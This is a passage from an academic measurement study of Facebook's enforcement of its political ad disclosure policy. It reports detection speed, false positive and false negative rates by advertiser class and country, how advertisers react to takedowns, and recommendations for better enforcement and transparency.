As quantified in subsection 4.3, we do not achieve full cov-
erage of the ads published by advertisers within our scope. On
the one hand, coverage is affected by the trade-off between
limited resources on our side and the large number of pages
in scope. The 24-hour scraping period means we miss ads
that were active only between two scrapes, and limits the
granularity of observed activity periods. Our snapshot delay
leads us to miss ad status changes beyond 14 days. How-
ever, we consider any changes after 14 days less likely to
be due to Facebook’s own enforcement system,6 but rather
due to external reporting. We also request ads shown in any
country; Facebook provides a filter by country, but this would
prohibitively multiply the required resources.7 We therefore
assign pages and their ads to a country based on a heuristic,
i.e., top spend on political ads. On the other hand, delays,
flaws and changes in Facebook’s systems further reduce cov-
erage. Delays in the publication of the Ad Library Report [32]
and a limit on the number of retrievable ads cause us to par-
tially miss ads from newly added and very large advertisers,
respectively. We also experience infrequent failures of our
scrapers, due to changed request methods or unavailable re-
sources, or race conditions during one scrape (e.g., leading
to duplicate ads). Beyond these unobserved ads in scope, we
do not know the total number of ads on Facebook, which
prevents us from quantifying true negatives and calculating
metrics that depend on it. However, we expect true negatives
to be much more prevalent, and therefore select classification
metrics that are more robust against this class imbalance.

Finally, limitations result from Facebook’s transparency
implementation. Without full metadata on all ads, we can-
not quantify the impact in terms of spend and impressions
of undetected political ads. We also have no visibility into
ads that are caught during initial review and are therefore pre-

6Facebook started its pause on political ads 7 days before the 2020
U.S. election, a.o., to “re-review[ ads] for policy violations” [107].

7However, we find that this filter can also be unreliable, with some ads
only being available when no country filter is set.

vented from running altogether. More abstractly, we rely on
Facebook’s Ad Library functioning properly, i.e, returning the
actual, complete set of (non-)political ads from all pages [21,
110, 112]. While we have no reason to believe this is not the
case, we also have no way to confirm this for our data set,
due to a lack of transparency into Facebook’s architecture.
Crowdsourced ads may allow to audit the accuracy of the Ad
Library, albeit not completely [21, 30]. Moreover, while we
are the first to conduct large-scale data collection through the
web portal, researchers and organizations have documented
consistency, completeness, and reliability issues with the Ad
Library API [22, 25, 32, 36, 39, 41, 91, 93]. These chal-
lenges in comprehensively obtaining all currently active ads
ultimately harm Facebook’s transparency efforts.

5 Ad-level Enforcement

We first examine enforcement of individual ads, independent
from the advertiser. We start by quantifying the prevalence
of enforcement, that is, how frequently Facebook is taking
down ads for not having the required disclaimers, and deter-
mine the exposure that violating ads had before detection.
We then survey how often an enforcement decision made by
Facebook is appropriate, especially with regard to ads that
likely should not have been taken down (false positives) and
where incorrect enforcement harmed advertisers.

5.1 Current ad policy enforcement
Within our measurement data, 72,678 ads were marked at
some point as ‘detected,’ i.e., political but not properly de-
clared, within 14 days after the ad’s first activity. These
detected ads therefore represent a minor share (1.7%) of all
4.2 million observed political ads. Edelson et al. [36] reported
a 9.7% detection rate for May 2018–June 2019, suggesting
policy awareness and compliance may have since improved.
Moreover, Facebook has stated that “between March 1[, 2021]
and Election Day, [they] rejected about 3.3 million ad sub-
missions that targeted the US without completing the autho-
rization process before they could run” [3], suggesting that
Facebook’s initial ad review already catches most violations,
although the lack of detail makes a reliable comparison dif-
ficult (e.g., authorization may be subject to separate review,
and an advertiser could try and resubmit an ad until it passes).

Next, we analyze whether Facebook prevents violating ads
from gaining much exposure by measuring how quickly Face-
book takes down an ad that should have been declared as
political. Detection of ads that slipped through the initial ad
review is relatively fast (Figure 3): 40% of ads were detected
within less than 1 day, with the median activity period being
less than 2 days. Detected ads are also active for shorter peri-
ods than any political ad, for which the median activity period
is less than 3 days, suggesting that ads are primarily detected
while they are still active. However, violating ads may still
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Figure 3: Activity period for detected and all political ads
where we likely observed the full lifespan (subsection 4.1)
and observed detections within 14 days.

enjoy significant exposure in budget, impressions, and time.
We estimate the detected ads to have accumulated spending
between 12.2 and 20.7 million U.S. dollars and between 2.1
and 2.4 billion impressions, i.e., instances where a user saw
the ad without the proper context that it was political. 5,885
ads (8.1%) were active for over a week, meaning detection
occurred very late. Moreover, we find 49,263 ads that were
likely detected only after they became inactive, as they be-
came inactive within 14 days, were not yet marked as political
after 14 days, but were present in the Ad Library API. The
advertiser could therefore display their violating ad for the
desired duration. These 55,148 combined detections do not
prevent most or any user harm, as most or all intended ad
impressions still occur. Instead, they are only useful for the
secondary goal of transparency (as the ads are then included
in the Ad Library) and for any potential disciplinary measures
taken against the page.

5.2 Ads incorrectly detected as political
When Facebook takes down ads for a lack of disclosure of
their political nature, some of these decisions are incorrect,
i.e., false positives. For example, the takedown of 1,413 ads
(1.16% of all detected ads) was later undone, possibly after
an appeal by the advertiser. These reflect admissions by Face-
book that the ads were false positives and should not have
been disabled. To study false positives more systematically,
we labeled a randomly selected sample of 300 correctly de-
clared and 300 detected ads. We restricted these samples
to advertisers in the United States to ensure that annotators
could interpret ad text and context. Three authors determined
whether each ad was within or outside the scope of Face-
book’s political ad policy. They were instructed to adhere as
closely as possible to Facebook’s definition, i.e., not apply
their own interpretation of what should be a political ad. In a
subsequent meeting, the annotators revisited disagreed-upon
ads, and reassigned a final agreed-upon label in the case of
simple labeling errors (agreement on the definition, but for
example a missed reference to a politician). Otherwise, if they
considered Facebook’s definition too ambiguous, in particular
on whether an ad sought to influence public opinion, they
recorded “disagreement” as the final outcome. Using Krip-

pendorff’s α [68], we achieve an inter-rater reliability of 0.81,
i.e., sufficiently strong agreement for reliable conclusions.

Table 3 lists the results of our labeling. For declared ads,
a false positive indicates that an advertiser unnecessarily de-
clared that ad. Across our sample, we observe 3.3% over-
declared ads, suggesting the practice is rare. 80% of declared
ads are related to politics and elections, which are clearly in
scope of Facebook’s ad policy and should therefore be de-
clared. Across all observed ads, Facebook does not appear
to retroactively mark declared ads as non-political, i.e., Face-
book does not (need to) check whether a declared ad falls
within the scope of its policy. For detected ads, a false posi-
tive indicates over-enforcement by Facebook, unduly taking
down the ad. Across our sample, a majority of detected ads
(55%) should not have been enforced upon; if we extrapolate
this rate to all detected ads, 67,433 ads should not have been
taken down. This suggests that Facebook’s ad detection is
overly aggressive. Edelson et al. [36] observed a 79% false
positive rate through a similar manual analysis, corroborating
our finding that this rate may be very high.

The annotators also described the ad topic, using an induc-
tively developed codebook that was aligned in their meeting
(Appendix E). 24% of false positive detected ads concern
commercial products or services, and it was not immediately
obvious why Facebook detected those ads as political. Among
ads where the likely cause of error was more discernible, most
errors concerned COVID-19-related and health ads, for which
the ambiguity in the definition of ‘social issues’ (“seek to in-
fluence public opinion”) makes confusion for advertisers and
Facebook’s review more understandable. It appears that these
policy ambiguities account for most errors; we attribute only 6
false positives to a likely false “keyword” match (e.g., a shop
called ‘Mayors’). Matias et al. [75] observed a 4.2% false
positive rate across ambiguous issue ads and false matches.
Our findings suggest that in addition, commercial ads, where
the reason for detection is less clear, represent a significant
share of false positives. Finally, the annotators could not
agree on the label for 5% of declared and 23% of detected
ads, highlighting the difficulty of interpreting Facebook’s ad
policy consistently. This disagreement mainly involved ads
relating to social issues, where it was unclear whether the
ad sought to influence public opinion, or ads with incidental
references to politics, such as a candidate’s yard sign being
visible in a real estate listing.

Summary We find that detected political ads without a dis-
claimer account for only a small share (1.7%) of observed
political ads, and that Facebook detected them rather quickly.
Still, we see 55,148 detected ads running for more than a week
or for their full intended duration, making detection largely
ineffective at preventing users from seeing these violating
political ads. In addition, detection appears to be very impre-
cise: we find that 55% of detected ads in the U.S. should not
have been taken down (false positives), harming advertisers
by making their legitimate ads unavailable to users.
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Table 3: Manual categorization of 300 declared and 300 detected ads, grouped by annotators’ assessment of whether these are
political per Facebook’s ad policy. � : Related to social issues. Percentages are given within the sets of declared and detected
ads, respectively; the margin of error is for a 95% binomial proportion confidence interval.

Ads considered political (true positives)
declared detected

Topic # % # %

By a political figure/organization 143 47.7 1 0.33
About a political figure/organization 61 20.3 15 5.00
About elections 35 11.7 13 4.33
Political Values and Governance � 10 3.33 10 3.33
Civil rights � 5 1.67 13 4.33
Environment � 6 2.00 4 1.33
Economy � 6 2.00 3 1.00
Other � 9 3.00 6 2.00

Total (Precision) 275 91.7 65 21.7
Margin of error ±3.1 ±4.7

Ads considered non-political (false positives)
declared detected

Topic # % # %

Commercial product/service 0 0.00 73 24.3
COVID-19-related 0 0.00 24 8.00
Health � 5 1.67 18 6.00
News/media 1 0.33 8 2.67
Apps/games/websites 0 0.00 8 2.67
Arts/Personalities 0 0.00 7 2.33
Other 0 0.00 24 8.00
Other � 4 1.33 4 1.33

Total (False discovery rate) 10 3.33 166 55.3
Margin of error ±2.0 ±5.6

Ads disagreed upon by labelers
declared detected

Topic # % # %

Environment � 4 1.33 13 4.33
Insignificant reference to politics 2 0.67 9 3.00
Food assistance � 2 0.67 6 2.00
News/media 0 0.00 8 2.67
COVID-19-related 1 0.33 6 2.00
Health � 2 0.67 4 1.33
Other 1 0.33 3 1.00
Other � 3 1.00 20 6.67

Total (Disagreement rate) 15 5.00 69 23.0
Margin of error ±2.5 ±4.8
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Figure 4: Detected ads versus their share of all ads for a page.

6 Page-level Enforcement

We continue at the level of a Facebook page to examine
whether enforcement appears to be consistently and correctly
applied across all ads of a page. We start by describing how
advertisers react to takedowns of a page’s ads. We then clas-
sify pages to describe the current composition of Facebook’s
Ad Library based on a page’s likely political intent, and iden-
tify likely false negatives as ads published by pages with a
clear political purpose that Facebook failed to detect.

6.1 Reaction to enforcement

We first analyze whether advertisers are able to repeatedly
violate Facebook’s ad policy. We observe detections of un-
declared political ads for 13,900 pages (5.2%), again lower
than the 68.3% rate observed by Edelson et al. [36] for May
2018–June 2019. Overall counts of detected ads per page

were low (Figure 4, left). However, 7,535 pages (54.2%) did
not declare any political ads, so their only political ads were
those that were detected (Figure 4, top), suggesting they may
have unintentionally posted ads that were deemed to be polit-
ical, possibly due to insufficient awareness of or ambiguity
in ad policies. No advertisers appear to have placed many
and mostly political ads without declaring them (Figure 4,
top right); high absolute counts of detected ads are an artifact
of an overall high volume of ads (Figure 4, bottom right). It
does not appear that Facebook frequently banned pages as
an enforcement action after detecting undeclared ads: only
458 pages were deleted some time after an ad detection, or
3.3% of pages with detected undeclared ads. (For reference,
7.2% of all pages in scope were ever deleted.) 373 of these
458 pages even continued placing new ads between their last
taken down ad and deletion of the page.

Next, we analyze whether advertisers declare more ads
after ads have been taken down, i.e., whether Facebook’s en-
forcement increased adherence to its ad policies. Ideally, this
reaction should prevent future violations and protect users
from being exposed to unmarked political ads. Out of the
top 75 pages ranked by detected ad count (listed by class
in Figure 5), 22 increased their proportion of ads declared
as political after being detected ( 1©– 4©): 5 started declaring
continuously ( 1©) and 5 others only shortly did not declare
( 2©). However, increased declaration was only short-lived
for 12 pages ( 3©– 4©). Furthermore, 48 pages ( 5©– 6©) barely
declared any ad as political and often had a steady stream
of violating ads taken down by Facebook. (This includes 39
news aggregator pages ( 6©) that are likely not exempt from
declaration, unlike more traditional news organizations [7].)
This suggests that the most frequent offenders (in absolute
terms) did not face any durable restriction in their ability to
run ads as a potential disciplinary measure imposed by Face-
book to increase compliance. Despite sometimes frequent
and prolonged violations, all pages in the top 75 continued
publishing ads after detection.

After the 2020 U.S. election, Facebook temporarily disal-
lowed political ads on their platform [1]. Instead of ceasing to
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Figure 5: Reactions to ad detection by the 75 advertisers with most detected ads. Each row corresponds to an advertiser, with
shades of blue indicating the proportion of ads the respective advertiser declared as political over time (aggregated daily). Red
markers at the bottom of each row denote when ads were detected and taken down by Facebook. Advertisers are grouped into
seven classes (denoted by #©) based on their reaction to enforcement (start/increase/resume declaring political ads) and the
duration of increased declaration (continuously/temporarily/no reaction). For example, group 6© contains advertisers that have a
steady stream of ads taken down by Facebook but do not show any apparent reaction to enforcement (they continue not declaring
any ads as political). These advertisers are news aggregator pages; we show three examples and omit 36 similar pages (*).

advertise, 5 of the top 75 violating pages continued running
ads but stopped declaring them as political ( 7©), even though
they were clearly of political nature as they had previously
declared (nearly) all their ads as political. Even though these
5 pages advertised merchandise such as T-shirts with political
messages, or were advocating for civil rights and environ-
mental policy, Facebook only detected and took down 3%
of their ads running after the election. Overall, 1,018 pages
ran 71,426 undeclared ads after the U.S. election, whereas
they only ran declared political ads before then. These pages
did not appear to be deterred by the political ad pause, and
Facebook did not effectively prevent them from running ads
that were very likely political. This failure of enforcement
rendered the ad pause less effective, and put these violating
pages at an unfair advantage over advertisers who did comply
and ceased running political ads as required [70, 94].

6.2 Current enforcement by advertiser class
Facebook’s policy on ads that require disclosure is broader
than just ads published by obvious political actors such as
parties or candidates [64]. Consequently, the Ad Library
Report also lists advertisers beyond those actors, such as those
placing ads about social issues, in partnership with (on behalf
of) political actors, or with (non-partisan) calls to vote, next
to advertisers with incorrectly detected ads (subsection 5.2).

6.2.1 Page classification

To quantify the prevalence of different types of advertisers,
we match internal and external data sources with observed
Facebook page metadata to classify pages into one of four top-
ics. If a page is listed in multiple sources, we select its main
class using the following order: (1) political, (2) government,
(3) media, and (4) issue-related.

• We retrieve political committees for the 2020 U.S. elections
from Facebook’s Ad Spending Tracker [106] (matched on
page name) and the OpenSecrets project of the Center for
Responsive Politics [85] (matched on page ID).

• We retrieve political candidates and parties registered for
the 2020 Brazilian municipal elections from the Superior
Electoral Court [98] (matched on CNPJ).

• We retrieve pages who identified themselves during Face-
book’s advertiser authorization process through a Federal
Election Commission identification number (FEC ID) for
U.S. political pages or U.S. government credentials for U.S.
government pages from our data (matched on page ID).

• We retrieve media organizations from Media Bias/Fact
Check [77] and NewsGuard [83] (matched on page alias),
with local pages for large news aggregators manually added.

• We retrieve U.S. nonprofit (tax-exempt) organizations as
potential issue-related pages from National Center for Char-
itable Statistics [20, 81] and Internal Revenue Service [40]
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data (matched on disclaimer and ZIP code).
• We retrieve manually curated Explore lists [86] containing

political, government, media, and issue-related pages from
CrowdTangle [29] (matched on page ID).

• We enumerate the most common Facebook page categories
for pages within the previous data sets, manually select
those categories that are sufficiently specific to a class, and
then retrieve all pages within those categories (Appendix F)
from our data (matched on page ID).

• We retrieve all pages that completed Facebook’s advertiser
authorization process from our data (matched on page ID).

Overall, 59.7% of pages fall into one of the four categories.
We distinguish an additional 11.3% of pages outside these
topics that completed the authorization process, as this implies
a genuine intent to at least sometimes place political ads.

6.2.2 Distribution of political ads over classes

We first analyze the composition of advertisers listed in the
Ad Library Report globally, i.e., within our scope of pages
with at least one recent (declared or detected) political ad
(subsection 4.1). We expect mostly political and issue pages
to appear in the Report; however, based on our classification
(Table 4), ‘obvious’ political advertisers only represent 39%
of measured pages, with a further 8% that are issue advertisers;
these combined account for 73% of observed political ads.
Only 53% of all pages were authorized to declare ads as
political. Unauthorized pages may have no political motive,
suggesting they inadvertently published ads that fall under
the political ad policy,8 or their ads were incorrectly detected
as political by Facebook. Alternatively, they may be political
actors that refuse to authorize themselves, or may be unable
to do so due to Facebook’s policies, e.g., if they are outside
the country in which they want to run political ads [36].

We further analyze whether certain page classes are more
likely to have such “unintentionally” undeclared and detected
ads by comparing detected with overall ad counts (Table 4).
Government (6% detected vs. 4% overall) and issue (16%
vs. 8%) pages are overrepresented, hinting at discrepancies
between their and Facebook’s understanding of which ads
should be declared. Media pages account for the most de-
tected ads in absolute numbers (34%), but place ads in simi-
larly high volumes (35% of all ads). 46% of authorized pages
and 21% of political pages failed to declare at least one ad that
was later detected, even though Facebook’s ad policy requires
all ads from or on behalf of political figures to be disclosed.

Next, we measure the proportions of political ads over all
ads per page and class. If an advertiser is political in nature,
we expect them to have 100% political ads, either because
they properly declare all their ads or because Facebook de-
tects their undeclared ads. Indeed, this largely holds for iden-
tified political pages (Table 4), where 81% had only political

8These ads then likely triggered inclusion in the Report; due to delays in
this inclusion, we cannot observe these one-off political ads (subsection 4.5).
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Figure 6: Distribution of political ad proportion over pages.

ads. However, for government, issue, and media pages, this
share is much lower, at 23%, 22%, and 12% respectively, and
median proportions of political ads of 20%, 25%, and 0% re-
spectively, showing that the Report contains many (classes of)
pages whose ads are mostly non-political. Across all pages
with observed ads (Figure 6), we similarly see that 44% had
only political ads, while 33% had no political ads observed
during our measurement, with the latter increasing for larger
advertisers, suggesting these may not have political intent.

Overall, we find that 47% of pages in the Ad Library Report
are not authorized, with over 33% of pages hardly publishing
political ads over time. These pages may have had incorrectly
detected ads (false positives) or placed an ad that they did
not consider political even though Facebook did. Indeed,
government and issue pages are much more likely to have ads
detected by Facebook. When pages have no clear political
motive, the advertisers as well as Facebook must determine
at the individual ad level whether the ad is in scope of the
political ad policy, which may be more prone to interpretation
errors and disagreements and therefore lead to enforcement
errors. Conversely, we consider 39% of pages to be core
political actors. Although Facebook’s policies require any ad
made by a political actor to be declared [11], enforcement is
still necessary as 21% of such pages have at least one detected
ad. Next, we analyze whether these pages had any ads that
were neither declared nor detected by Facebook.

6.3 Missed ads by political advertisers
Through our classification from subsubsection 6.2.1, we can
identify advertisers that are known or self-declare to be po-
litical actors. For these advertisers, Facebook’s ad policy
explicitly mandates that all their ads be declared (“ads made
by” a political actor). If these advertisers fail to disclose all
their ads, Facebook should detect them. With this premise,
we can measure whether those pages had any undetected ads
that Facebook’s enforcement missed within 14 days after the
ad’s first activity. By taking a more holistic approach where
we identify groups of pages and ads where enforcement is
required, we avoid introducing any interpretation of our own
of what should be a ‘political ad’ [102], as well as errors from
machine learning models that detect political ads [34, 96]. In-
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Table 4: Distribution of observed (political) ads over identified advertiser classes. Classes do not overlap.

Pages All ads Political ads Political ad proportion (%) % pages with Detected ads Detected pages

Type of page # % # % # % overall Q1−3 per page 100% pol. ads # % # %

Political 102,617 38.6 2,593,727 7.7 2,476,764 59.1 95.5 100.0 100.0 100.0 80.8 6,010 8.3 2,965 21.3
Government 9,686 3.6 781,102 2.3 190,057 4.5 24.3 0.0 20.0 92.9 22.7 4,577 6.3 956 6.9
Issue 20,250 7.6 1,722,973 5.1 585,326 14.0 34.0 0.0 25.0 93.9 22.3 11,245 15.5 1,870 13.5
Media 26,203 9.9 11,814,593 34.9 318,939 7.6 2.7 0.0 0.0 50.0 12.2 24,395 33.6 2,858 20.6
Other with authorization 30,108 11.3 1,954,851 5.8 604,897 14.4 30.9 44.4 100.0 100.0 52.9 11,073 15.2 1,632 11.7
Other with detected political ads 3,619 1.4 6,540,777 19.3 15,378 0.4 0.2 0.8 3.8 14.3 4.9 15,378 21.2 3,619 26.0
Other with only observed non-political ads 47,248 17.8 8,420,746 24.9 0 0.0 0.0 0.0 0.0 0.0 0.0 0 0.0 0 0.0
Other without observed ads 26,093 9.8 0 0.0 0 0.0 0.0 — — — 0.0 0 0.0 0 0.0

All with authorization 139,861 52.6 8,132,939 24.0 4,151,486 99.0 51.0 89.5 100.0 100.0 69.4 32,803 45.1 6,412 46.1
All with declared or detected political ads 143,657 54.0 21,511,759 63.6 4,191,361 100.0 19.5 80.0 100.0 100.0 66.3 72,678 100.0 13,900 100.0
All pages 265,824 100.0 33,828,769 100.0 4,191,361 100.0 12.4 0.0 80.3 100.0 44.3 72,678 100.0 13,900 100.0

Table 5: Ads from clear political advertisers missed by Face-
book’s enforcement (false negatives). Groups may overlap.

Undetected
ads

Pages with ≥1
undetected ad

Detected
ads

Political page list Country # %* # % # %§

Ad Spending Tracker US 33 0.01 16 1.93 1 0.00
FEC-registered organizations US 1,035 0.17 42 2.76 40 0.01
OpenSecrets.org committees US 129 0.03 24 1.74 14 0.00
CNPJ-registered entities BR 7,607 1.57 2,038 11.99 668 0.14
CrowdTangle Explore lists Int. 14,263 2.15 649 10.46 306 0.05
Facebook Page categories Int. 103,808 4.33 16,116 16.53 5,764 0.25

All political pages 116,963 4.51 16,875 16.44 6,010 0.24
U.S.-only US 10,940 0.96 1,187 4.75 416 0.04

* False negative rate (FN/(FN +T P)) § Proportion of ads detected by Facebook
across all ads labeled as political by Facebook within the respective group of pages (T P).

stead, by selecting pages that we believe to be clearly in scope
of Facebook’s political ad policy, we have greater confidence
that we observe genuine errors in Facebook’s enforcement.

Table 5 shows the different lists of political pages that we
derived from the external data sources. To ensure the preci-
sion of these lists, one author manually verified all pages with
undetected ads from the three U.S.-based lists and removed
entries that were not political actors. One such example was
a media page that ran a few one-off ads on behalf of a pres-
idential campaign and disclosed them using the campaign’s
FEC ID. For the larger list of advertisers that self-declare
a political Facebook page category, such as ‘Politician’ or
‘Political Organization,’ we randomly sampled 50 pages from
the U.S. (to ensure interpretability) for which one author man-
ually confirmed that all 50 pages belonged to core political
actors. We conclude that these lists are a reliable source of
political pages that are required under Facebook’s policy to
declare all of their ads as political.

Across federal and state-level U.S. political advertisers,
i.e., those that Facebook included in its Spending Tracker
or verified through an FEC ID as well as major committees
tracked by OpenSecrets, performance is nearly perfect with at
most 0.17% missed ads, depending on the list (Table 5). If we
broaden our view to include additional core political actors
in the U.S., identified based on manually curated political
Explore lists from CrowdTangle (a subsidiary of Facebook)
or the category of their Facebook pages, Facebook misses
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Figure 7: Rates of undetected and detected ads for countries
with at least 0.01% of all observed political ads, across pages
in political Facebook page categories.

more ads (0.96% in total). As these additional lists also cover
advertisers for local elections, the increase in missed ads
suggests that Facebook is less successful at identifying smaller
political actors. In absolute terms, out of the combined 11,356
ads that U.S. core political actors failed to declare, Facebook
was only able to detect for 416 (3.7%) that they were political
and therefore enforce its ad policy. Facebook failed to detect
the remaining 10,940 electoral ads, including ads from a U.S.
senator and former presidential primary candidate with almost
10 million dollar in ad spend, who was able to run undisclosed
(and undetected) ads after the U.S. elections.

We now analyze whether Facebook’s enforcement is con-
sistent globally through international lists of political actors,
comparing performance in particular to that in the United
States. For candidates and parties registered in the 2020
Brazilian municipal elections [98], 1.57% of ads went unde-
tected, even though Facebook could easily match their pro-
vided CNPJ ID with the official list of political advertisers.
Silva et al. [96] observed a slightly higher false negative rate
of 2.2% in the 2018 Brazilian elections, albeit across all ad-
vertiser types. Across global lists of political actors curated
by CrowdTangle, 2.15% of ads were missed. Across pages
that classify themselves in a political Facebook page category,
4.3% of ads were neither declared nor detected. (Note that
this is a lower bound, as pages could select generic categories
that we do not include here. Within the other lists of political
pages, we find 3,311 ‘Public Figure’ and 715 ‘Personal Blog’
pages, for example.) All of these false negative rates are worse
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than even the most broadly defined set of political actors in
the United States. Across all political advertisers worldwide,
we find a false negative rate of 4.5%, almost five times that
of the U.S. 16.4% of pages published at least one political ad
that was not detected, more than three times as many as in the
U.S., even though they are obvious political actors.

We further break down rates of undetected ads for adver-
tisers in political Facebook page categories by country (Fig-
ure 7), as these advertisers cover all countries in our scope.
Again, Facebook misses the fewest ads in the United States
(0.85% false negatives), whereas enforcement can be consid-
erably worse in other countries: in absolute terms, Argentina,
Brazil, and India have over 10,000 undetected ads each, while
in relative terms, Argentina, North Macedonia, and Malaysia
have between 30% and 45% undetected ads. This further sug-
gests that Facebook does not succeed in enforcing its policies
consistently worldwide, leaving some users more exposed
to violating political ads. This inconsistency may be due to
language-specific model deficiencies [92], in particular if lit-
tle training data is available [82]. Additionally, the review
model may fail to incorporate different cultural contexts, with
certain topics being considered politically sensitive only in
some countries, as Facebook itself recognizes [84]. However,
other confounding factors exist, such as the importance of
individual pages, the reach of ads, or heightened attention
due to ongoing elections [61]. These prevent us from reliably
attributing performance differences to one or more causes.

Overall, of all 122,973 ads that political actors do not de-
clare, Facebook only succeeds in detecting a very minor share
of 6,010 ads or 4.9%, while failing to detect 116,963 ads,
meaning that Facebook’s enforcement is ineffective at discov-
ering violating ads even from advertisers with a clear political
intent. Moreover, if an advertiser properly declares their ad,
Facebook does not have to make an enforcement decision,
increasing the significance of any error made for an unde-
clared ad. In terms of potential exposure, the activity period
for these undetected ads is similar to that for detected ads
(subsection 5.1). While Facebook does not disclose spend
and impressions metadata for ads not known to be political,
we use the average ad spend and impressions across each
page’s political ads to estimate that advertisers likely spent
between 4.6 and 9.2 million U.S. dollars on undetected ads,
and that these ads had between 2.2 and 2.4 billion impres-
sions. As with detected ads, users are therefore exposed in
great quantities to these violating ads. However, undetected
ads lack even the transparency that comes with after-the-fact
detection, since these ads disappear from the Ad Library and
can no longer be scrutinized once they become inactive.

Summary Detection led 22 of the 75 pages with the most
detected ads to correctly declare more political ads. How-
ever, the remaining pages can and do continue publishing
undeclared political ads even after Facebook detected their
undeclared ads, and after Facebook prohibited political ads in
the U.S. Facebook’s policies appear to result in non-political

pages being listed in the Ad Library Report as having political
ads, which may have been inadvertently published or erro-
neously detected. Conversely, we consider only 39% of pages
to be core political actors, who we expect to declare all their
ads or else get detected by Facebook. Unfortunately, we find
at least 116,963 ads from these clearly political advertisers
that were missed by Facebook’s detection (false negatives).
Moreover, these missed ads are unevenly distributed world-
wide: while for U.S. advertisers only 0.85% of ads are missed,
we see a false negative rate of up to 45% in other countries.
Put differently, for political pages only 4.9% of undeclared
ads are detected, resulting in at least 2.2 billion (estimated)
impressions that expose users to ads that hide their political
nature and avoid disclosing who paid for the ad.

7 Discussion

Across the ads where Facebook has to make an enforcement
decision, we observe 61% more undetected ads (across po-
litical pages; subsection 6.3) than detected ads (across all
pages; subsection 5.1) within 14 days after their first activ-
ity. In addition, we observe that 55% of detections in the
U.S. are likely false (subsection 5.2). Translated into classi-
fication metrics, we estimate a precision of 0.45, a recall of
0.22, and subsequently an F1 score of 0.29, all indicative of
insufficiently accurate classification, and calling into question
whether Facebook’s enforcement is truly effective.

Incidentally, these error estimates are conservative and bi-
ased favorably towards better performance by Facebook. We
quantify false negatives only across clearly political pages,
where all ads must be declared, and enforcement is likely eas-
ier. If Facebook were to implement detection of every ad from
such pages, our conservative estimate of the false negative rate
would become zero. However, our estimate does not include
potentially missed ads from other (non-political) advertisers;
if these publish political ads without disclosing them, the
ads would likely be more difficult to detect, given that they
must be evaluated individually. Sosnovik and Goga [102]
found 4% of ‘strong political’ ads to be undeclared, similar
to our false negative rate. However, 7% of ‘political’ and
26% of ‘marginally political’ ads were also undeclared, and
such ads were more often placed by NGOs, advocacy groups
and charity organizations. This suggests that we would also
find a non-zero false negative rate if we were to extend our
estimate to include individual ads from non-political actors.
Nevertheless, our results present a baseline for ads currently
missed by Facebook. Conversely, we conservatively estimate
worldwide false positives based on our findings among adver-
tisers in the United States. We found that the false negative
rate was lowest in the United States; if a similar trend holds
for false positives, Facebook’s worldwide false positive rate
is likely higher than in the U.S. Therefore, Facebook’s global
performance is likely worse than our estimate.

We now discuss five factors that enable more effective
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enforcement, and highlight how our findings suggest that
Facebook’s implementation is lacking in these areas. We also
outline recommendations to Facebook for improving its en-
forcement and reduce erroneously missed or detected ads, as
well as improve researchers’ ability to audit its enforcement.

First, in terms of technical capability, Facebook’s enforce-
ment approach appears insufficient for the task of classifying
political ads. Its automated moderation systems apparently
do not learn or incorporate obvious signals of political intent,
such as a page’s self-categorization (subsection 6.3), and this
despite a high false positive rate (subsection 5.2). Even if
Facebook’s review were more performant, the scale of its ad
business means that low error rates still result in large absolute
counts of missed political ads. Recommendation: Facebook
should expand its enforcement approach to take the advertiser
into account, e.g., by monitoring pages in political categories
more strictly [36, 64]. Such simple, clearly enforceable rules
could complement the current automated review.

Second, policy enforcement should be timely and come
with appropriate consequences to prevent future violations.
However, pages were still able to repeatedly run undeclared
ads, even during the pause on political ads in the U.S. (sub-
section 6.1). Moreover, violating ads sometimes run for a
long period or are already inactive by the time of detection,
resulting in large exposure (billions of impressions) before
they are caught, if ever (subsection 5.1). Recommendation:
Facebook should ensure stricter consequences for repeatedly
violating advertisers, such as (temporarily) restricting them
from running ads.

Third, enforcement must be consistent in order to be fair
and effective for all users and advertisers. However, next to
the overall enforcement errors that suggest inadequate review-
ing resources, it appears that missed ads are more common
outside the United States, where Facebook’s enforcement suf-
fers from higher false negative rates (subsection 6.3), leaving
users there more vulnerable to obscured political ads. Recom-
mendation: Facebook should ensure consistent performance
globally, independent of an ad’s language. To capture cul-
tural differences, they should engage with local governments,
regulators and organizations to adapt policies and enforce-
ment strategies to the local context [64, 101]. This includes
identifying country-specific sensitive topics. Furthermore,
they should mandate ad declaration worldwide, to ensure that
no users in any country are unnecessarily left vulnerable to
malicious political advertisers [84, 101].

Fourth, enforcement errors could result from insufficient
ad policies. We find many largely non-political advertisers
who appear to (possibly unintentionally) violate these policies
and have detected ads (subsubsection 6.2.2), even though they
might have good intentions and be unaware that their ad was
‘political.’ This may be due to ambiguity in ad policies, in
particular whether social issue ads “seek to influence public
opinion.” Our ‘expert’ annotators did not always agree on
whether an ad was political (subsection 5.2), suggesting that

advertisers may also find this difficult, in particular as poli-
cies are spread out across many resources [1, 4, 5, 7, 11–13,
18, 27, 28, 48, 56, 57]. Recommendation: Facebook should
further clarify and simplify its political ad policies, making it
very obvious whether an ad is in scope or not [22, 101]. In
addition, policies should be collected in one easily discover-
able location [67, 78], with updates being clearly indicated
and previous versions remaining available [22].

Finally, the quality of enforcement also affects the trans-
parency into the political ad ecosystem that the Ad Library is
meant to provide. Missed political ads disappear from the Ad
Library once they become inactive, and additional metadata
such as its spend and impressions are unavailable. Conversely,
falsely detected non-political ads result in unrelated advertis-
ers and ads appearing in the Ad Library, which may result
in overestimating political ads on Facebook, and increases
the (infrastructural and human) resources required to retrieve,
process and analyze data for all advertisers (subsection 4.5).
Recommendation: Although we commend Facebook for their
current transparency efforts, as they enable our audit and
allow us to suggest improvements, they should expand trans-
parency by including all ads in their archive and API to enable
reproducible and scalable analysis of their enforcement [2,
26, 35, 39, 59, 62, 64, 65, 71, 88, 110]. For detected ads, they
should also disclose which policy was violated and how they
determined this [22], instead of the current binary signal.

However, changes to enforcement and transparency should
be balanced with legitimate commercial and privacy concerns
around sharing ad metadata, as well as consider adversarial
counteractions from advertisers, who for example could at-
tempt to evade efforts to identify them as a political actor (e.g.,
by selecting an unrelated page category). Actors beyond Face-
book may therefore also need to intervene: legislators could
harmonize definitions of both political and issue ads across
platforms [67] as well as set enforcement and transparency re-
quirements [2, 26] that would be overseen by regulators [110]
(Appendix D). Ultimately, such regulatory pressure would
entail a shift away from the current self-regulatory model to
co-regulation [39, 110]: being allowed to self-regulate poli-
cies requires being able to enforce them well, which we show
Facebook currently fails to achieve.

8 Conclusion

